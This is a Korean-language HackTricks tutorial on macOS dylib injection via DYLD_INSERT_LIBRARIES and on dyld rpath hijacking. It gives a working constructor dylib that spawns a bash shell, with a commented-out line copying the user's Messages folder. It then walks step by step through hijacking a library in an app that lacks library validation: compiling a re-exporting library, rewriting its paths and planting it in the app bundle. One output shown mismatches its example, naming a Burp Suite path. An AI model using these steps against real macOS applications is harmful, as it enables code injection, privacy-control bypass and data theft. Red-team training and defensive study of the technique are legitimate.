# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## DYLD\_INSERT\_LIBRARIES κΈ°λ³Έ 예제 **μ‰˜μ„ μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ μ£Όμž…ν•  라이브러리:** ```c // gcc -dynamiclib -o inject.dylib inject.c #include #include #include #include __attribute__((constructor)) void myconstructor(int argc, const char **argv) { syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); printf("[+] dylib injected in %s\n", argv[0]); execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` 곡격할 λ°”μ΄λ„ˆλ¦¬: ```c // gcc hello.c -o hello #include int main() { printf("Hello, World!\n"); return 0; } ``` μ£Όμž…: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` ## Dyld Hijacking Example νƒ€κ²Ÿ μ·¨μ•½ λ°”μ΄λ„ˆλ¦¬λŠ” `/Applications/VulnDyld.app/Contents/Resources/lib/binary`μž…λ‹ˆλ‹€. {% tabs %} {% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
{% endtab %} {% tab title="LC_RPATH" %} {% code overflow="wrap" %} ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 cmd LC_RPATH cmdsize 32 path @loader_path/. (offset 12) -- cmd LC_RPATH cmdsize 32 path @loader_path/../lib2 (offset 12) ``` {% endcode %} {% endtab %} {% tab title="@rpath" %} {% code overflow="wrap" %} ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 name @rpath/lib.dylib (offset 24) time stamp 2 Thu Jan 1 01:00:02 1970 current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` {% endcode %} {% endtab %} {% endtabs %} 이전 정보λ₯Ό 톡해 μš°λ¦¬λŠ” **λ‘œλ“œλœ 라이브러리의 μ„œλͺ…을 ν™•μΈν•˜μ§€ μ•Šκ³ ** 있으며 **λ‹€μŒ μœ„μΉ˜μ—μ„œ 라이브러리λ₯Ό λ‘œλ“œν•˜λ €κ³  μ‹œλ„ν•˜κ³  μžˆλ‹€λŠ” 것을 μ•Œ 수 μžˆμŠ΅λ‹ˆλ‹€**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` ν•˜μ§€λ§Œ 첫 λ²ˆμ§ΈλŠ” μ‘΄μž¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€: ```bash pwd /Applications/VulnDyld.app find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` κ·Έλž˜μ„œ, 그것을 νƒˆμ·¨ν•˜λŠ” 것이 κ°€λŠ₯ν•©λ‹ˆλ‹€! **μž„μ˜μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜κ³  μ •ν’ˆ λΌμ΄λΈŒλŸ¬λ¦¬μ™€ λ™μΌν•œ κΈ°λŠ₯을 μž¬μˆ˜μΆœν•˜μ—¬** 라이브러리λ₯Ό λ§Œλ“œμ„Έμš”. 그리고 μ˜ˆμƒλ˜λŠ” λ²„μ „μœΌλ‘œ μ»΄νŒŒμΌν•˜λŠ” 것을 μžŠμ§€ λ§ˆμ„Έμš”: {% code title="lib.m" %} ```objectivec #import __attribute__((constructor)) void custom(int argc, const char **argv) { NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` {% endcode %} μ»΄νŒŒμΌν•˜μ„Έμš”: {% code overflow="wrap" %} ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` {% endcode %} λΌμ΄λΈŒλŸ¬λ¦¬μ—μ„œ μƒμ„±λœ 재수좜 κ²½λ‘œλŠ” λ‘œλ”μ— μƒλŒ€μ μž…λ‹ˆλ‹€. 이λ₯Ό 라이브러리λ₯Ό 내보내기 μœ„ν•œ μ ˆλŒ€ 경둜둜 λ³€κ²½ν•©μ‹œλ‹€: {% code overflow="wrap" %} ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 cmd LC_REEXPORT_DYLIB cmdsize 48 name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 cmd LC_REEXPORT_DYLIB cmdsize 128 name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` {% endcode %} λ§ˆμ§€λ§‰μœΌλ‘œ **νƒˆμ·¨λœ μœ„μΉ˜**에 λ³΅μ‚¬ν•©λ‹ˆλ‹€: {% code overflow="wrap" %} ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} 그리고 **이진 νŒŒμΌμ„ μ‹€ν–‰**ν•˜κ³  **λΌμ΄λΈŒλŸ¬λ¦¬κ°€ λ‘œλ“œλ˜μ—ˆλŠ”μ§€ 확인**ν•©λ‹ˆλ‹€:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]
{% hint style="info" %} ν…”λ ˆκ·Έλž¨μ˜ 카메라 κΆŒν•œμ„ μ•…μš©ν•˜λŠ” 방법에 λŒ€ν•œ 쒋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. {% endhint %} ## 더 큰 규λͺ¨ μ˜ˆμƒμΉ˜ λͺ»ν•œ 이진 νŒŒμΌμ— 라이브러리λ₯Ό μ£Όμž…ν•˜λ €λŠ” 경우, ν”„λ‘œμ„ΈμŠ€ λ‚΄μ—μ„œ λΌμ΄λΈŒλŸ¬λ¦¬κ°€ λ‘œλ“œλ  λ•Œλ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄ 이벀트 λ©”μ‹œμ§€λ₯Ό 확인할 수 μžˆμŠ΅λ‹ˆλ‹€(이 경우 printf와 `/bin/bash` 싀행을 μ œκ±°ν•˜μ‹­μ‹œμ˜€). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}